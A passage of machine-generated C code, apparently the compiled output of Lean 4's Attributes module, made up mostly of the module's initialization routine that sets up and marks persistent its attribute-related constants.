lean_inc(x_14);
lean_inc(x_13);
lean_dec(x_4);
x_15 = l_Lean_instInhabitedAttributeExtensionState;
x_16 = l_Lean_isAttribute___closed__1;
x_17 = l_Lean_PersistentEnvExtension_getState___rarg(x_15, x_16, x_1);
x_18 = l_Lean_updateEnvAttributesImpl___closed__1;
x_19 = l_Lean_PersistentHashMap_foldlM___at_Lean_updateEnvAttributesImpl___spec__1(x_13, x_18, x_17);
x_20 = l_Lean_PersistentEnvExtension_setState___rarg(x_16, x_1, x_19);
x_21 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_21, 0, x_20);
lean_ctor_set(x_21, 1, x_14);
return x_21;
}
}
}
LEAN_EXPORT lean_object* lean_get_num_attributes(lean_object* x_1) {
_start:
{
lean_object* x_2; lean_object* x_3; uint8_t x_4;
x_2 = l_Lean_registerBuiltinAttribute___lambda__1___closed__1;
x_3 = lean_st_ref_get(x_2, x_1);
x_4 = !lean_is_exclusive(x_3);
if (x_4 == 0)
{
lean_object* x_5; lean_object* x_6;
x_5 = lean_ctor_get(x_3, 0);
x_6 = lean_ctor_get(x_5, 1);
lean_inc(x_6);
lean_dec(x_5);
lean_ctor_set(x_3, 0, x_6);
return x_3;
}
else
{
lean_object* x_7; lean_object* x_8; lean_object* x_9; lean_object* x_10;
x_7 = lean_ctor_get(x_3, 0);
x_8 = lean_ctor_get(x_3, 1);
lean_inc(x_8);
lean_inc(x_7);
lean_dec(x_3);
x_9 = lean_ctor_get(x_7, 1);
lean_inc(x_9);
lean_dec(x_7);
x_10 = lean_alloc_ctor(0, 2, 0);
lean_ctor_set(x_10, 0, x_9);
lean_ctor_set(x_10, 1, x_8);
return x_10;
}
}
}
lean_object* initialize_Init(uint8_t builtin, lean_object*);
lean_object* initialize_Lean_CoreM(uint8_t builtin, lean_object*);
lean_object* initialize_Lean_MonadEnv(uint8_t builtin, lean_object*);
static bool _G_initialized = false;
LEAN_EXPORT lean_object* initialize_Lean_Attributes(uint8_t builtin, lean_object* w) {
lean_object * res;
if (_G_initialized) return lean_io_result_mk_ok(lean_box(0));
_G_initialized = true;
res = initialize_Init(builtin, lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
lean_dec_ref(res);
res = initialize_Lean_CoreM(builtin, lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
lean_dec_ref(res);
res = initialize_Lean_MonadEnv(builtin, lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
lean_dec_ref(res);
l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1 = _init_l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1();
lean_mark_persistent(l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1);
l_Lean_instInhabitedAttributeApplicationTime = _init_l_Lean_instInhabitedAttributeApplicationTime();
l_Lean_instBEqAttributeApplicationTime___closed__1 = _init_l_Lean_instBEqAttributeApplicationTime___closed__1();
lean_mark_persistent(l_Lean_instBEqAttributeApplicationTime___closed__1);
l_Lean_instBEqAttributeApplicationTime = _init_l_Lean_instBEqAttributeApplicationTime();
lean_mark_persistent(l_Lean_instBEqAttributeApplicationTime);
l___auto____x40_Lean_Attributes___hyg_266____closed__1 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__1();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__1);
l___auto____x40_Lean_Attributes___hyg_266____closed__2 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__2();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__2);
l___auto____x40_Lean_Attributes___hyg_266____closed__3 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__3();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__3);
l___auto____x40_Lean_Attributes___hyg_266____closed__4 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__4();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__4);
l___auto____x40_Lean_Attributes___hyg_266____closed__5 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__5();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__5);
l___auto____x40_Lean_Attributes___hyg_266____closed__6 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__6();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__6);
l___auto____x40_Lean_Attributes___hyg_266____closed__7 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__7();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__7);
l___auto____x40_Lean_Attributes___hyg_266____closed__8 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__8();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__8);
l___auto____x40_Lean_Attributes___hyg_266____closed__9 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__9();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__9);
l___auto____x40_Lean_Attributes___hyg_266____closed__10 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__10();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__10);
l___auto____x40_Lean_Attributes___hyg_266____closed__11 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__11();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__11);
l___auto____x40_Lean_Attributes___hyg_266____closed__12 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__12();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__12);
l___auto____x40_Lean_Attributes___hyg_266____closed__13 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__13();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__13);
l___auto____x40_Lean_Attributes___hyg_266____closed__14 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__14();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__14);
l___auto____x40_Lean_Attributes___hyg_266____closed__15 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__15();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__15);
l___auto____x40_Lean_Attributes___hyg_266____closed__16 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__16();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__16);
l___auto____x40_Lean_Attributes___hyg_266____closed__17 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__17();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__17);
l___auto____x40_Lean_Attributes___hyg_266____closed__18 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__18();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__18);
l___auto____x40_Lean_Attributes___hyg_266____closed__19 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__19();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__19);
l___auto____x40_Lean_Attributes___hyg_266____closed__20 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__20();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__20);
l___auto____x40_Lean_Attributes___hyg_266____closed__21 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__21();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__21);
l___auto____x40_Lean_Attributes___hyg_266____closed__22 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__22();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__22);
l___auto____x40_Lean_Attributes___hyg_266____closed__23 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__23();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__23);
l___auto____x40_Lean_Attributes___hyg_266____closed__24 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__24();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__24);
l___auto____x40_Lean_Attributes___hyg_266____closed__25 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__25();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__25);
l___auto____x40_Lean_Attributes___hyg_266____closed__26 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__26();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__26);
l___auto____x40_Lean_Attributes___hyg_266____closed__27 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__27();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__27);
l___auto____x40_Lean_Attributes___hyg_266____closed__28 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__28();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__28);
l___auto____x40_Lean_Attributes___hyg_266____closed__29 = _init_l___auto____x40_Lean_Attributes___hyg_266____closed__29();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266____closed__29);
l___auto____x40_Lean_Attributes___hyg_266_ = _init_l___auto____x40_Lean_Attributes___hyg_266_();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_266_);
l_Lean_AttributeImplCore_applicationTime___default = _init_l_Lean_AttributeImplCore_applicationTime___default();
l_Lean_instInhabitedAttributeImplCore___closed__1 = _init_l_Lean_instInhabitedAttributeImplCore___closed__1();
lean_mark_persistent(l_Lean_instInhabitedAttributeImplCore___closed__1);
l_Lean_instInhabitedAttributeImplCore___closed__2 = _init_l_Lean_instInhabitedAttributeImplCore___closed__2();
lean_mark_persistent(l_Lean_instInhabitedAttributeImplCore___closed__2);
l_Lean_instInhabitedAttributeImplCore = _init_l_Lean_instInhabitedAttributeImplCore();
lean_mark_persistent(l_Lean_instInhabitedAttributeImplCore);
l_Lean_instBEqAttributeKind___closed__1 = _init_l_Lean_instBEqAttributeKind___closed__1();
lean_mark_persistent(l_Lean_instBEqAttributeKind___closed__1);
l_Lean_instBEqAttributeKind = _init_l_Lean_instBEqAttributeKind();
lean_mark_persistent(l_Lean_instBEqAttributeKind);
l_Lean_instInhabitedAttributeKind = _init_l_Lean_instInhabitedAttributeKind();
l_Lean_instToStringAttributeKind___closed__1 = _init_l_Lean_instToStringAttributeKind___closed__1();
lean_mark_persistent(l_Lean_instToStringAttributeKind___closed__1);
l_Lean_instToStringAttributeKind___closed__2 = _init_l_Lean_instToStringAttributeKind___closed__2();
lean_mark_persistent(l_Lean_instToStringAttributeKind___closed__2);
l_Lean_instToStringAttributeKind___closed__3 = _init_l_Lean_instToStringAttributeKind___closed__3();
lean_mark_persistent(l_Lean_instToStringAttributeKind___closed__3);
l_Lean_AttributeImpl_erase___default___rarg___closed__1 = _init_l_Lean_AttributeImpl_erase___default___rarg___closed__1();
lean_mark_persistent(l_Lean_AttributeImpl_erase___default___rarg___closed__1);
l_Lean_AttributeImpl_erase___default___rarg___closed__2 = _init_l_Lean_AttributeImpl_erase___default___rarg___closed__2();
lean_mark_persistent(l_Lean_AttributeImpl_erase___default___rarg___closed__2);
l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1 = _init_l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl___lambda__1___closed__1);
l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2 = _init_l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2);
l_Lean_instInhabitedAttributeImpl___closed__1 = _init_l_Lean_instInhabitedAttributeImpl___closed__1();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl___closed__1);
l_Lean_instInhabitedAttributeImpl___closed__2 = _init_l_Lean_instInhabitedAttributeImpl___closed__2();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl___closed__2);
l_Lean_instInhabitedAttributeImpl___closed__3 = _init_l_Lean_instInhabitedAttributeImpl___closed__3();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl___closed__3);
l_Lean_instInhabitedAttributeImpl = _init_l_Lean_instInhabitedAttributeImpl();
lean_mark_persistent(l_Lean_instInhabitedAttributeImpl);
l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__1);
l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2);
l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3 = _init_l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3();
lean_mark_persistent(l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3);
if (builtin) {res = l_Lean_initFn____x40_Lean_Attributes___hyg_518_(lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
l_Lean_attributeMapRef = lean_io_result_get_value(res);
lean_mark_persistent(l_Lean_attributeMapRef);
lean_dec_ref(res);
}l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__1 = _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__1();
l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2 = _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2();
l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3 = _init_l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3();
lean_mark_persistent(l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__3);
l_Lean_registerBuiltinAttribute___lambda__1___closed__1 = _init_l_Lean_registerBuiltinAttribute___lambda__1___closed__1();
lean_mark_persistent(l_Lean_registerBuiltinAttribute___lambda__1___closed__1);
l_Lean_registerBuiltinAttribute___lambda__2___closed__1 = _init_l_Lean_registerBuiltinAttribute___lambda__2___closed__1();
lean_mark_persistent(l_Lean_registerBuiltinAttribute___lambda__2___closed__1);
l_Lean_registerBuiltinAttribute___lambda__2___closed__2 = _init_l_Lean_registerBuiltinAttribute___lambda__2___closed__2();
lean_mark_persistent(l_Lean_registerBuiltinAttribute___lambda__2___closed__2);
l_Lean_registerBuiltinAttribute___closed__1 = _init_l_Lean_registerBuiltinAttribute___closed__1();
lean_mark_persistent(l_Lean_registerBuiltinAttribute___closed__1);
l_Lean_registerBuiltinAttribute___closed__2 = _init_l_Lean_registerBuiltinAttribute___closed__2();
lean_mark_persistent(l_Lean_registerBuiltinAttribute___closed__2);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__1 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__1();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__1);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__2 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__2();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__2);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__3 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__3();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__3);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__4 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__4();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__4);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__5 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__5();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__5);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__6 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__6();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__6);
l_Lean_Attribute_Builtin_ensureNoArgs___closed__7 = _init_l_Lean_Attribute_Builtin_ensureNoArgs___closed__7();
lean_mark_persistent(l_Lean_Attribute_Builtin_ensureNoArgs___closed__7);
l_Lean_Attribute_Builtin_getIdent_x3f___closed__1 = _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__1();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent_x3f___closed__1);
l_Lean_Attribute_Builtin_getIdent_x3f___closed__2 = _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__2();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent_x3f___closed__2);
l_Lean_Attribute_Builtin_getIdent_x3f___closed__3 = _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__3();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent_x3f___closed__3);
l_Lean_Attribute_Builtin_getIdent_x3f___closed__4 = _init_l_Lean_Attribute_Builtin_getIdent_x3f___closed__4();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent_x3f___closed__4);
l_Lean_Attribute_Builtin_getIdent___closed__1 = _init_l_Lean_Attribute_Builtin_getIdent___closed__1();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent___closed__1);
l_Lean_Attribute_Builtin_getIdent___closed__2 = _init_l_Lean_Attribute_Builtin_getIdent___closed__2();
lean_mark_persistent(l_Lean_Attribute_Builtin_getIdent___closed__2);
l_Lean_getAttrParamOptPrio___closed__1 = _init_l_Lean_getAttrParamOptPrio___closed__1();
lean_mark_persistent(l_Lean_getAttrParamOptPrio___closed__1);
l_Lean_getAttrParamOptPrio___closed__2 = _init_l_Lean_getAttrParamOptPrio___closed__2();
lean_mark_persistent(l_Lean_getAttrParamOptPrio___closed__2);
l_Lean_Attribute_Builtin_getPrio___closed__1 = _init_l_Lean_Attribute_Builtin_getPrio___closed__1();
lean_mark_persistent(l_Lean_Attribute_Builtin_getPrio___closed__1);
l_Lean_Attribute_Builtin_getPrio___closed__2 = _init_l_Lean_Attribute_Builtin_getPrio___closed__2();
lean_mark_persistent(l_Lean_Attribute_Builtin_getPrio___closed__2);
l_Lean_instInhabitedTagAttribute___lambda__1___closed__1 = _init_l_Lean_instInhabitedTagAttribute___lambda__1___closed__1();
l_Lean_instInhabitedTagAttribute___lambda__1___closed__2 = _init_l_Lean_instInhabitedTagAttribute___lambda__1___closed__2();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___lambda__1___closed__2);
l_Lean_instInhabitedTagAttribute___closed__1 = _init_l_Lean_instInhabitedTagAttribute___closed__1();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__1);
l_Lean_instInhabitedTagAttribute___closed__2 = _init_l_Lean_instInhabitedTagAttribute___closed__2();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__2);
l_Lean_instInhabitedTagAttribute___closed__3 = _init_l_Lean_instInhabitedTagAttribute___closed__3();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__3);
l_Lean_instInhabitedTagAttribute___closed__4 = _init_l_Lean_instInhabitedTagAttribute___closed__4();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__4);
l_Lean_instInhabitedTagAttribute___closed__5 = _init_l_Lean_instInhabitedTagAttribute___closed__5();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__5);
l_Lean_instInhabitedTagAttribute___closed__6 = _init_l_Lean_instInhabitedTagAttribute___closed__6();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__6);
l_Lean_instInhabitedTagAttribute___closed__7 = _init_l_Lean_instInhabitedTagAttribute___closed__7();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__7);
l_Lean_instInhabitedTagAttribute___closed__8 = _init_l_Lean_instInhabitedTagAttribute___closed__8();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute___closed__8);
l_Lean_instInhabitedTagAttribute = _init_l_Lean_instInhabitedTagAttribute();
lean_mark_persistent(l_Lean_instInhabitedTagAttribute);
l___auto____x40_Lean_Attributes___hyg_1759_ = _init_l___auto____x40_Lean_Attributes___hyg_1759_();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_1759_);
l_Lean_registerTagAttribute___lambda__4___closed__1 = _init_l_Lean_registerTagAttribute___lambda__4___closed__1();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__1);
l_Lean_registerTagAttribute___lambda__4___closed__2 = _init_l_Lean_registerTagAttribute___lambda__4___closed__2();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__2);
l_Lean_registerTagAttribute___lambda__4___closed__3 = _init_l_Lean_registerTagAttribute___lambda__4___closed__3();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__3);
l_Lean_registerTagAttribute___lambda__4___closed__4 = _init_l_Lean_registerTagAttribute___lambda__4___closed__4();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__4);
l_Lean_registerTagAttribute___lambda__4___closed__5 = _init_l_Lean_registerTagAttribute___lambda__4___closed__5();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__5);
l_Lean_registerTagAttribute___lambda__4___closed__6 = _init_l_Lean_registerTagAttribute___lambda__4___closed__6();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__4___closed__6);
l_Lean_registerTagAttribute___lambda__5___closed__1 = _init_l_Lean_registerTagAttribute___lambda__5___closed__1();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__5___closed__1);
l_Lean_registerTagAttribute___lambda__6___closed__1 = _init_l_Lean_registerTagAttribute___lambda__6___closed__1();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__6___closed__1);
l_Lean_registerTagAttribute___lambda__6___closed__2 = _init_l_Lean_registerTagAttribute___lambda__6___closed__2();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__6___closed__2);
l_Lean_registerTagAttribute___lambda__6___closed__3 = _init_l_Lean_registerTagAttribute___lambda__6___closed__3();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__6___closed__3);
l_Lean_registerTagAttribute___lambda__6___closed__4 = _init_l_Lean_registerTagAttribute___lambda__6___closed__4();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__6___closed__4);
l_Lean_registerTagAttribute___lambda__7___closed__1 = _init_l_Lean_registerTagAttribute___lambda__7___closed__1();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__7___closed__1);
l_Lean_registerTagAttribute___lambda__7___closed__2 = _init_l_Lean_registerTagAttribute___lambda__7___closed__2();
lean_mark_persistent(l_Lean_registerTagAttribute___lambda__7___closed__2);
l_Lean_registerTagAttribute___closed__1 = _init_l_Lean_registerTagAttribute___closed__1();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__1);
l_Lean_registerTagAttribute___closed__2 = _init_l_Lean_registerTagAttribute___closed__2();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__2);
l_Lean_registerTagAttribute___closed__3 = _init_l_Lean_registerTagAttribute___closed__3();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__3);
l_Lean_registerTagAttribute___closed__4 = _init_l_Lean_registerTagAttribute___closed__4();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__4);
l_Lean_registerTagAttribute___closed__5 = _init_l_Lean_registerTagAttribute___closed__5();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__5);
l_Lean_registerTagAttribute___closed__6 = _init_l_Lean_registerTagAttribute___closed__6();
lean_mark_persistent(l_Lean_registerTagAttribute___closed__6);
l_Lean_instInhabitedParametricAttribute___closed__1 = _init_l_Lean_instInhabitedParametricAttribute___closed__1();
lean_mark_persistent(l_Lean_instInhabitedParametricAttribute___closed__1);
l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1 = _init_l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1();
lean_mark_persistent(l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1);
l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1 = _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___lambda__4___closed__1);
l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2 = _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2);
l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3 = _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___lambda__4___closed__3);
l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4 = _init_l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___lambda__4___closed__4);
l_Lean_registerParametricAttribute___rarg___closed__1 = _init_l_Lean_registerParametricAttribute___rarg___closed__1();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___closed__1);
l_Lean_registerParametricAttribute___rarg___closed__2 = _init_l_Lean_registerParametricAttribute___rarg___closed__2();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___closed__2);
l_Lean_registerParametricAttribute___rarg___closed__3 = _init_l_Lean_registerParametricAttribute___rarg___closed__3();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___closed__3);
l_Lean_registerParametricAttribute___rarg___closed__4 = _init_l_Lean_registerParametricAttribute___rarg___closed__4();
lean_mark_persistent(l_Lean_registerParametricAttribute___rarg___closed__4);
l_Lean_ParametricAttribute_setParam___rarg___closed__1 = _init_l_Lean_ParametricAttribute_setParam___rarg___closed__1();
lean_mark_persistent(l_Lean_ParametricAttribute_setParam___rarg___closed__1);
l_Lean_ParametricAttribute_setParam___rarg___closed__2 = _init_l_Lean_ParametricAttribute_setParam___rarg___closed__2();
lean_mark_persistent(l_Lean_ParametricAttribute_setParam___rarg___closed__2);
l_Lean_ParametricAttribute_setParam___rarg___closed__3 = _init_l_Lean_ParametricAttribute_setParam___rarg___closed__3();
lean_mark_persistent(l_Lean_ParametricAttribute_setParam___rarg___closed__3);
l_Lean_instInhabitedEnumAttributes___closed__1 = _init_l_Lean_instInhabitedEnumAttributes___closed__1();
lean_mark_persistent(l_Lean_instInhabitedEnumAttributes___closed__1);
l___auto____x40_Lean_Attributes___hyg_3178_ = _init_l___auto____x40_Lean_Attributes___hyg_3178_();
lean_mark_persistent(l___auto____x40_Lean_Attributes___hyg_3178_);
l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1 = _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___lambda__3___closed__1);
l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2 = _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2);
l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3 = _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___lambda__3___closed__3);
l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4 = _init_l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___lambda__3___closed__4);
l_Lean_registerEnumAttributes___rarg___closed__1 = _init_l_Lean_registerEnumAttributes___rarg___closed__1();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___closed__1);
l_Lean_registerEnumAttributes___rarg___closed__2 = _init_l_Lean_registerEnumAttributes___rarg___closed__2();
lean_mark_persistent(l_Lean_registerEnumAttributes___rarg___closed__2);
l_Lean_EnumAttributes_setValue___rarg___closed__1 = _init_l_Lean_EnumAttributes_setValue___rarg___closed__1();
lean_mark_persistent(l_Lean_EnumAttributes_setValue___rarg___closed__1);
l_Lean_EnumAttributes_setValue___rarg___closed__2 = _init_l_Lean_EnumAttributes_setValue___rarg___closed__2();
lean_mark_persistent(l_Lean_EnumAttributes_setValue___rarg___closed__2);
if (builtin) {res = l_Lean_initFn____x40_Lean_Attributes___hyg_3846_(lean_io_mk_world());
if (lean_io_result_is_error(res)) return res;
l_Lean_attributeImplBuilderTableRef = lean_io_result_get_value(res);
lean_mark_persistent(l_Lean_attributeImplBuilderTableRef);
lean_dec_ref(res);
}l_Lean_registerAttributeImplBuilder___lambda__1___closed__1 = _init_l_Lean_registerAttributeImplBuilder___lambda__1___closed__1();
lean_mark_persistent(l_Lean_registerAttributeImplBuilder___lambda__1___closed__1);
l_Lean_registerAttributeImplBuilder___closed__1 = _init_l_Lean_registerAttributeImplBuilder___closed__1();
lean_mark_persistent(l_Lean_registerAttributeImplBuilder___closed__1);
l_Lean_registerAttributeImplBuilder___closed__2 = _init_l_Lean_registerAttributeImplBuilder___closed__2();
lean_mark_persistent(l_Lean_registerAttributeImplBuilder___closed__2);
l_Lean_mkAttributeImplOfBuilder___closed__1 = _init_l_Lean_mkAttributeImplOfBuilder___closed__1();
lean_mark_persistent(l_Lean_mkAttributeImplOfBuilder___closed__1);
l_Lean_mkAttributeImplOfBuilder___closed__2 = _init_l_Lean_mkAttributeImplOfBuilder___closed__2();
lean_mark_persistent(l_Lean_mkAttributeImplOfBuilder___closed__2);
l_Lean_AttributeExtensionState_newEntries___default = _init_l_Lean_AttributeExtensionState_newEntries___default();
lean_mark_persistent(l_Lean_AttributeExtensionState_newEntries___default);
l_Lean_instInhabitedAttributeExtensionState___closed__1 = _init_l_Lean_instInhabitedAttributeExtensionState___closed__1();
lean_mark_persistent(l_Lean_instInhabitedAttributeExtensionState___closed__1);
